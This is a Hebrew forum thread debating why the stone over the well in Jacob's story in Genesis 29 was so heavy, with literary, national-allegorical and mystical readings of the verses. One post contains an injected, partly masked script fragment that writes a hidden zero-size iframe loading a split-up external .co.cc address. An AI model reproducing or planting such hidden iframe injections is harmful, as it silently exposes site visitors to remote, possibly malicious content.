| נשלח ב-21/11/2004 11:26 |
 |
| |
מדוע האבן על פי הבאר כה כבדה ?
.
יעקב אבינו מגיע מן המדבר אל הבאר שבשדה, ושלשה עדרים כבר ממתינים שם. אבינו, היודע הלכות צאן ומרעה, תמה על עצלותם של הרועים. מדוע אינכם משקים את הצאן וממשיכים לרעותם? עוד היום גדול, וזהו בזבוז זמנו/כספו של הבעלים?!
והתשובה, כידוע, שהאבן על פי הבאר גדולה, ויש צורך במספר רב של רועים כדי להסירה ולהשקות את הצאן.
ומכאן, נשאלת השאלה שבכותרת:
וכי לא היה הגיוני יותר לאטום את הבאר במכסה קל יותר? מעץ, מעור, מתכת, אבן קטנה יותר, מכסה כלשהו הניתן לגלילה על ידי כל רועֶה או רועָה בעצמו, וכך, הצאן יוכלו לשתות ולהמשיך לרעות, ולא ימתינו סתם כך עד האסף כל הרועים.
הרש"ר הירש מתייחס לשאלה, ואומר כי אנשי חרן לא בטחו אחד בשני, וכי זו היתה דרכם לוודא כי הבאר תפתח רק בנוכחות כולם.
לכך נוכל להוסיף כי אם אנשי חרן לא רצו כי הבאר תשמש אנשים שאינם מאנשי המקום, רועים זרים, הרי גם לכך יכלה לשמש האבן הכבדה. אנשי המקום, כמסתבר, אינם אנשי חסד, להבדיל ממשפחתו של אברהם.
אם אנשי חרן אינם אנשי חסד, ואינם סומכים אחד על השני, ברור מדוע דאגו לכיסוי אבן כבד כל כך. כיסוי "אנטי-חסד" .
יעקב מגיע, והנה גם רחל באה עם הצאן.
בפגישה הקודמת של בן למשפחת אברהם ליד באר עם בת למשפחת בתואל, גומלת החסד היתה רבקה, שהשקתה את אליעזר ואת כל גמליו.
בפעם הזאת, הגלגל מתהפך. יעקב הוא הגולל את האבן ומשקה את צאן רחל. גלילה והשקיה זו, שתי משמעויות בה:
הראשונה: אמירה כלפי מידות אנשי חרן. אם האבן כבדה בשל העדר מידת החסד, תבוא מידת החסד של יעקב, ותציג עוצמה. החסד של בית יצחק ואברהם, גדול כוחו. גדול כוחו עד כדי לגלול לבד את האבן מעל פי הבאר.
וחסד זה, הוא גם כמסר לרחל. אני יעקב, בנה של רבקה. בנה של גומלת החסדים ששאבה מים מן הבאר והשקתה את הגמלים – וכאן משקה יעקב את צאן רחל.
ואין צורך להוסיף כי ברור שכאשר הרועים כולם גוללים, רועָה-נערה, לא תעמוד בראש התור, כי הרי הגוללים ישקו את צאנם ראשון, וכאן, במסר החסד, הופך יעקב גם את הסדר הקבוע הזה שבחרן, ומשקה את צאן רחל לראשונה.
ובפרק הבא – משה רבנו מציל את בנות יתרו מול מעשה יעקב...
 |
|
|
|
|
| נשלח ב-16/11/2018 02:01 |
|
| |
אכן, אחד היה אברהם (השני היה צבי, אבל אף פעם לא הבדלתי ביניהם)
|
|
|
|
| נשלח ב-15/11/2018 19:23 |
|
| |
אברם_העברי
| תלמידטועה כתב: |  | אברהם אברהם אם בדברי לא דייקת מה יהיה עם פירושיך לחומש
"אתה המעיין בתחילת מחשבתו ורעיונו, ומי שדימה שיבין ספר שהוא הכשרת הראשונים והאחרונים בעברו עליו במקצת העתים הפנוים מן המשתה ....., כמו שהוא עובר על אודיסיאה , תן דעתך 12 והתבונן, כי אין הדבר כפי שחשבת בעיון ראשון, אלא כפי שיתברר לאחר התבוננות בדברים הללו"
:) טול אייקון ירוק! לא כתבתי שהרועים פחדו. כתבתי שהוא היה חזק דיו לגול אבן כזו אהה, אם כל המטרה היא רק לתאר את גלילת האבן, אז איך תתרץ את כל הדו-שיח המיותר ביניהם?! אני לימדתי זכות עליך שוודאי התכוונת לכך שפחדו של יעקב נפל עליהם... |
|
|
|
|
|
| נשלח ב-15/11/2018 19:12 |
|
| |
| מיימוני כתב: | |
אם הבנתי את דבריך, אתה טוען שהסיפור הזה, כמו סיפור, מעביר את המסר דרך הסיפור, כאשר הפרטים תורמים את חלקם לעלילה ולמסר.
בדיוק, ולמען הסר ספק - ברור שהמסַפֵּר האמין שיעקב היה בארם ונשא שם נשים וכו' (כדברי הושע "ויברח יעקב... ובאשה שמר") - אבל לא היתה לו שום כוונה לתאר את חיי היומיום שלו שם, או להוות מדריך לגידול כבשים באגן הסהר הפורה!וכמובן זה לא משל ולא מטאפורה אלא, לפי הבנה זו, סיפור מעשה אמן. במקרה של הצאן, אני קורא לזה "ייצוג" - הצאן מייצג את העברים, או את עם ישראל - וזה דבר שהיה מובן מאליו לישראלי הקדום. אחת ההשלכות של הייצוג היא המטאפורה לפיה צאן = עם, כמו "שה פזורה ישראל" וכדומה.
אמנם - עם כל ההנאה מפירושך, קשה לי להבין את הפרשה לפי פירושך כיצד היא יכולה להשתלב בעלילה על אבות האומה ועם ישראל. טול אייקון ירוק על האבחנה החשובה, שצריך גם להתרומם קצת ממעמקי הבאר החרנית אל כל סיפורי האבות, ולתהות על מטרתם.
וההסבר הסביר ביותר הוא שיש כאן עניין "דתי-לאומי" (הקורא רובין מתבקש להבליג לרגע, או לקרוא את הרש"י הראשון לתורה), ולפיו סיפורי האבות מתארים את בחירת עם ישראל על פני שאר צאצאי העברים (אדום, ישמעאל, ארם) + את זכותם על ארץ כנען.
דרך הסיפורים ה'קטנים' מתוארים המאבקים הלאומיים הגדולים של עם ישראל, ובראשם המאבק מול הארמים - שהיו ה'מתחרה' המרכזי בתקופת המלוכה (=התקופה בה נכתב עיקר התנ"ך, כנראה).
לזה יש לצרף את ההשערה שהיה לעם ישראל איזשהו 'תסביך נחיתות' מול הארמים, שהרי אנחנו באנו משם כמ"ש "ארמי אובד אבי" וכן הוא אומר "בעבר הנהר ישבו אבותיכם מעולם" - ולכן רצו להדגיש את התעקשותו של אברהם לא להשיב את בנו שמה, וכן את העוול שגרם לבן ליעקב וכו'. < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
|
|
|
|
|
| נשלח ב-15/11/2018 18:28 |
|
| |
אברהם אברהם אם בדברי לא דייקת מה יהיה עם פירושיך לחומש "אתה המעיין בתחילת מחשבתו ורעיונו, ומי שדימה שיבין ספר שהוא הכשרת הראשונים והאחרונים בעברו עליו במקצת העתים הפנוים מן המשתה ....., כמו שהוא עובר על אודיסיאה , תן דעתך 12 והתבונן, כי אין הדבר כפי שחשבת בעיון ראשון, אלא כפי שיתברר לאחר התבוננות בדברים הללו" לא כתבתי שהרועים פחדו. כתבתי שהוא היה חזק דיו לגול אבן כזו
|
|
|
|
| נשלח ב-15/11/2018 17:34 |
|
| |
אברם העברי
ברוך השב!
אם הבנתי את דבריך, אתה טוען שהסיפור הזה, כמו סיפור, מעביר את המסר דרך הסיפור, כאשר הפרטים תורמים את חלקם לעלילה ולמסר. (ובעיני, אולי עלי להתנצל על ההשוואה, כמו סיפורי הארי פוטר, שבהם כמעט כל פרט משרת איזה תפקיד עלילתי או מהווה רמז. הארי פוטר עושה משהו ומסתבך ונחלץ אבל ההחלצות מקדמת את העלילה לקראת דבר נוסף שלא היה יכול לקרות בלי זה. הארי פוטר מנהל שיחה וברקע מתרגלים איזה קסם ורק כאשר הארי מנחש את הסיבה האמיתית להתרחשות שתתבהר רק בסוף הספר רק אז הקסם מצליח לו. מעשה אמנות ספרותי).
וכמובן זה לא משל ולא מטאפורה אלא, לפי הבנה זו, סיפור מעשה אמן.
זה מתאים לי ולהבנתי את המקרא.
וטול נא איקון ירוק ואפילו יותר מאחד. פעם אחת על יישום הדגם הספרותי של פרשנות ופעם אחת על שקלעתי לטעמי (אז זה איקון ירוק אישי).
אמנם -
עם כל ההנאה מפירושך, קשה לי להבין את הפרשה לפי פירושך כיצד היא יכולה להשתלב בעלילה על אבות האומה ועם ישראל.
יתכן כמובן לטעון שהסיפור המקורי היה אודות יעקב והקשר המשפחתי המתפצל כדבריך, ואחר כך הסיפור עובד ונכלל בתוך התורה. וזה אפשרי גם אם נרשה לעצמנו להניח, נגד ביקורת המקרא, שהסיפורים מספר בראשית עברו במסורת עד לעם ישראל במצרים וה' אמר למשה לעבדם ולהפכם לספר בראשית.
ועוד איקון ירוק ביותר על ההשוואה בין ארתור והחרב לבין יעקב והאבן. זו אבחנה חשובה מאד! ועלינו לשאול, כאשר אנו עוסקים בהשוואה, האם זה מעיד על הפולקלור המקומי והזמני, כלומר בבלי או מצרי וכיו"ב, או על ייחוד הנראטיבים של עם ישראל והתורה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-15/11/2018 16:17 |
|
| |
והיא היא דמות יעקב החקוקה בכסא הכבוד שהוא שכבר נברא כמותו כמאמר אדמו"ר נשיא הדור לא זוכר כנזכר בספרו של משיח צדקך (וזהו החידוש היחיד בכל הספר!).
אבל מדוע זה אתה לומד רמב"ן ולא רותם את כל כוחותיך לחידו"ת מופלאים אלו?
|
|
|
|
| נשלח ב-15/11/2018 15:35 |
|
| |
אגב, לו המקרא היה בסגנון מעשיות העמים שר"י, היה בוודאי מספר שהיתה שם אבן שאף אחד לא יכל להוציא עד שהגיע יעקב - בבחינת החרב "אקסקליבר" של המלך (המשיח?) ארתור, שהיתה נעוצה באבן (!) ואף אחד לא יכל להוציאה, ע"ש.
אלא שהמקרא הוא בד"כ ריאליסטי יותר בקטעים האלה, ואת סיפורי הניסים הגלויים הוא שומר לתיאורי יציאת מצרים שם משה מוציא מים מן האבן - ווחז"ל עוד הוסיפו שפרעה רצה להרוג את משה בחרב אלא שצווארו נעשה כאבן שיש - וכך דרשו גם על יעקב כשעשו נישק אותו ואכמ"ל.
|
|
|
|
| נשלח ב-15/11/2018 15:30 |
|
| |
תלמידטועה – כתבת "מה שאתה קורא אפיזודה גמלונית... תורמת את ההבנה שיעקב היה
די בריון ויתכן שבריחתו לא היתה מפחד מעשיו" – אז כמעט וזכית להיקרא תלמידצודק, שכן
על פי חוקרי המקרא שמבארם אנו שותים, ברור שסיפור גניבת הברכות וסיפור יציאת יעקב
לחרן ניתנו מרועים שונים (וכן
כתבתי דרך אגב בבלוגי), ולפי זה אין באמת שום קביעה שיעקב פחד מעשיו.
אבל הטעות
שלך היא שאתה מזהה כאן פחד כלשהו מצד הרועים – וזו מניין? הדיאלוג משדר עוינות
כבושה – ואותה ניסיתי להסביר (בהנחה שהם לא היו סתם חבורת טפשים, כדברי בנו
יעקב).
תלמידתלמיד – כתלמידו
של תלמידטועה שאלת האם לדעתי האבן לא היתה כבדה וכו'. והנה כל השאלה בטעות יסודה,
כביכול אם תסע עכשיו לטורקיה\סוריה ותחפור אולי תגלה את הבאר ותוכל לשקול את אותה
אבן היסטורית... והלא אין הדברים אלא סיפור, ולא "מעשה שהיה כך היה"!
(אלא שסיפור טוב עדיף מכל היסטוריה, כמו שמוכיחות כל הדתות, כל הזמן)
אח_של_השכן – אכן
"אח עשו ליעקב", וטוב שכן קרוב מאח רחוק... אבל גם אתה לא זכית להבין את
עמקי סודות הפרשיה הזו – שכאמור לעיל, היא סיפור שנועד להעביר מסר, ולא "מעשה
שהיה כך היה". אז כל התיאור האידיאלי של הרועים שמשקים כביכול מדי יום הוא
תיאור של מה שהיה אמור להיות, אלא שבפועל – כמו שכתבתי בטבלה באדום – הם התקשו לעשות זאת. ולכן "במקרה" יעקב
מגיע בדיוק בזמן שבו הם עדיין לא גללו את האבן, וההדגשה הכפולה מראה שזה עיקר
הסיפור – הכישלון שלהם בהשקאת הצאן למול הצלחתו של יעקב.
יש3 – כך
דרכו של יצה"ר, בתחילה אומר לו לך ותכפור ברובין כמשיח, ולבסוף אומר לו לך ותכפור
בדא"ח שיצאו מפי ד"ר למקרא, שמחים כנתינתן מסיני...:) אבל אפילו שיחת
חולין שלך צריכה לימוד, שאכן האבן מופיעה כמה וכמה פעמים בסיפורי יעקב (דוק
ותשכח!), ואכן היא יסוד מלכות בסוד "משם רועה אבן ישראל" היא-היא
"האבן הראשה", היא-היא אבן השתיה ממנה ייבנה המקדש במהרה בימינו,
עם הגלות נגלות מלך המשיח, נב"א או רובין, כמוקדם שבהם, אמן.
|
|
|
|
|
| נשלח ב-15/11/2018 14:54 |
|
| |
תירוצו שהיא הייתה כבדה כי אבן היא ספירת מלכות וכתיב"וליקר מלכותי" ויקר היינו כבד.
|
|
|
|
| נשלח ב-15/11/2018 14:27 |
|
| |
מהו תירוצו של אברם על השאלה? שהכל רמזים, והיא לא היתה באמת כבידה ?
|
|
|
|
| נשלח ב-15/11/2018 14:11 |
|
| |
יש3
אין לנו אלא לקבל את דברי אברם שהם מיוסדים בראיות והוכחות רבות מספור ואין הם סתם דרשנות בעלמא היכולה לקחת כל פסוק וללמוד ממנו כל דבר. והרי הוא ד"ר למקרא ודבריו מיוסדים על הררי קודש ולהויזן וחבריו, ואין לזוז מהם.
תוקן על ידי יש3 ב- 15/11/2018 12:11:50
|
|
|
|
| נשלח ב-15/11/2018 13:49 |
|
| |
אברם (האם עברתי עכשיו בעשה?) השמטת כאן שני קטעים שעוסקים בשגרה של הרועים. כל פסוק ג': "ונאספו שמה כל העדרים וגללו את האבן מעל פי הבאר והשקו את הצאן והשיבו את האבן על פי הבאר למקומה"
ואת רובו של פסוק ח' , המשך דבריהם של הרועים: "... עד אשר יאספו כל העדרים וגללו את האבן מעל פי הבאר והשקינו הצאן". אם המבחן הוא היכולת לפתוח את הבאר, הרי שגם לרועים יש יכולת לעשות זאת. על פי פסוק ג' הם פותחים, משקים את הצאן וגם סוגרים חזרה. הפסוק מתאר זאת כדבר שבשגרה, בכל יום הם פותחים, משקים וגם סוגרים.
גם מהמשכו של פסוק ח' לא נראה שמדובר בכשלון. אתה הבאת ופירשת רק חלק קטן מדבריהם, אבל הם ממשיכים ומסבירים שהם לא צריכים להתמודד מולו. יש להם הדרך שלהם לפתוח את הבאר ולהשקות את הצאן.
ודוק תיאור פתיחת הבאר ע"י כל הרועים מובא פעמיים, פעם בתיאור הבאר ופעם בדברי הרועים ליעקב, כלשונו הזהב: "בבחינת "וְעַל הִשָּׁנוֹת הַחֲלוֹם אֶל פַּרְעֹה פַּעֲמָיִם כִּי נָכוֹן הַדָּבָר מֵעִם הָאֱלֹהִים וּמְמַהֵר הָאֱלֹהִים לַעֲשֹׂתוֹ" (מא, לב)".
נראה שלא בכדי חוזר ונשנה התיאור של פתיחת הבאר על ידי הרועים, אותו תיאור שפעמיים הושמט על ידך. המספר מבקש להדגיש לנו שיעקב פתח את הבאר כמעשה חד-פעמי ואילו הם עושים זאת כל יום.
|
|
|
|
|
|
| נשלח ב-15/11/2018 12:32 |
|
| |
חששה של רבקה היה מוצדק בכל מקרה.
ונניח שיעקב יקדים ויהרוג את עשיו. או להפך. לרבקה תהיה בן הרוג ובן רוצח. בשבילה גם הרוצח יחשב למת.
|
|
|
|
| נשלח ב-15/11/2018 11:55 |
|
| |
תלמידטועה
מה שאתה קורא אפיזודה גמלונית (הגם שבמקרה כאן אין גמל באופק) תורמת את ההבנה שיעקב היה די בריון ויתכן שבריחתו לא היתה מפחד מעשיו
או להסביר חששה של רבקה שתשכל שניהם ביום אחד
|
|
|
|
| נשלח ב-15/11/2018 10:43 |
|
| |
שני רמזים באפיזודה מכוונים אותנו למסר הטמון כאן: א) יעקב הולך "אַרְצָה בְנֵי קֶדֶם". ב) לבן נקרא "לָבָן בֶּן נָחוֹר" ולא בן בתואל, כפי שהיה באמת.
בקצרה, ארץ הקדם היא מולדתם של העברים, או "בני עבר", שאחד מצאצאיהם היה תרח. תרח יצא לכיוון "ארץ העברים" (כנען), אבל 'נתקע' בחרן הארמית, כנראה בגלל נחור בנו שהשתקע שם לפניו (נחור אינו מופיע בבר' יא, לא – ובימי אברהם חרן כבר נקראת "עִיר נָחוֹר", בר' כד, י). מה שקרה הוא שהעברים התפצלו לשני ענפים 'מתחרים': הענף הארמי והענף האברהמי (התחרות מתבטאת למשל בעובדה שאברהם שומע שלנחור יולדו 12 ילדים – בר' כב). אברהם מנסה 'לחלץ' מחרן אשה לבנו, אבל לא יותר מכך – ואילו יעקב מגיע 'לסגור את החשבון' ולהשיב את העברים (=הצאן) הביתה.
לכן כשיעקב צץ לו לפתע בחרן, המתח בין שני הענפים מגיע לשיא – וכך מוסבר מפגש האניגמטי עם הרועים, ואגב מתורצת גם שאלת משקל האבן שזכתה כאן לאשכול משלה: | הפסוקים | הפירוש | | וַיִּשָּׂא יַעֲקֹב רַגְלָיו וַיֵּלֶךְ אַרְצָה בְנֵי קֶדֶם | יעקב חוזר למולדת העברים, להתמודד מול הענף הארמי שלה. | | וַיַּרְא וְהִנֵּה בְאֵר בַּשָּׂדֶה וְהִנֵּה שָׁם שְׁלֹשָׁה עֶדְרֵי צֹאן רֹבְצִים עָלֶיהָ | צאצאי העברים ממתינים למי שיצליח 'להחיות' אותם, כלומר, לחבר אותם לשושלת אבותם. | | כִּי מִן הַבְּאֵר הַהִוא יַשְׁקוּ הָעֲדָרִים וְהָאֶבֶן גְּדֹלָה עַל פִּי הַבְּאֵר... | ארם היתה אמורה להיות מקור החיוּת של צאצאי העברים, אבל היא מתקשה לעשות זאת. | | וַיֹּאמֶר לָהֶם יַעֲקֹב אַחַי מֵאַיִן אַתֶּם וַיֹּאמְרוּ מֵחָרָן אֲנָחְנוּ | יעקב מזהה אותם כ"אחיו" – שהרי הם מאותה משפחה – אך הם מתנכרים אליו ומדגישים שהם מהענף המתחרה. | | וַיֹּאמֶר לָהֶם הַיְדַעְתֶּם אֶת לָבָן בֶּן נָחוֹר וַיֹּאמְרוּ יָדָעְנוּ | יעקב שואל ברמז האם הם קשורים לנחור, אבי הענף הארמי – והם עונים בלאקוניות המתבקשת: אכן נודע הדבר... | | וַיֹּאמֶר לָהֶם הֲשָׁלוֹם לוֹ וַיֹּאמְרוּ שָׁלוֹם | תשובתם זהה לזו שענתה השונמית לבעלה (מל"ב ד, כג), שמשמעה אחת: אל תתערב! | | וְהִנֵּה רָחֵל בִּתּוֹ בָּאָה עִם הַצֹּאן | זו נקודת המפנה – רחל (=כבשה) באה עם הצאן (=העברים), ושני הצדדים מבינים שיעקב עתיד לקחת אותה יחד עם הצאן. | | וַיֹּאמֶר הֵן עוֹד הַיּוֹם גָּדוֹל לֹא עֵת הֵאָסֵף הַמִּקְנֶה הַשְׁקוּ הַצֹּאן וּלְכוּ רְעוּ | יעקב רומז שייקח לו עוד זמן עד שיצליח להתגבר עליהם (עשרים שנה!), בינתיים הוא מציע להם באדיבות שינסו להתמודד עמו. | | וַיֹּאמְרוּ לֹא נוּכַל... עוֹדֶנּוּ מְדַבֵּר עִמָּם וְרָחֵל בָּאָה עִם הַצֹּאן אֲשֶׁר לְאָבִיהָ כִּי רֹעָה הִוא | לראשונה הם מודים בכשלונם, ומודגש שנית שרחל באה עם הצאן, בבחינת "וְעַל הִשָּׁנוֹת הַחֲלוֹם אֶל פַּרְעֹה פַּעֲמָיִם כִּי נָכוֹן הַדָּבָר מֵעִם הָאֱלֹהִים וּמְמַהֵר הָאֱלֹהִים לַעֲשֹׂתוֹ" (מא, לב) | | וַיְהִי כַּאֲשֶׁר רָאָה יַעֲקֹב אֶת רָחֵל בַּת לָבָן אֲחִי אִמּוֹ וְאֶת צֹאן לָבָן אֲחִי אִמּוֹ וַיִּגַּשׁ יַעֲקֹב וַיָּגֶל אֶת הָאֶבֶן מֵעַל פִּי הַבְּאֵר וַיַּשְׁקְ אֶת צֹאן לָבָן אֲחִי אִמּוֹ | הריבוי המופלג של קשרי המשפחה יחד עם השקאת הצאן, מדגישים את משימתו של יעקב, שהודגמה בפועל מול עיני הרועים: להחזיר את המשפחה הביתה! |
|
|
|
|
|
|
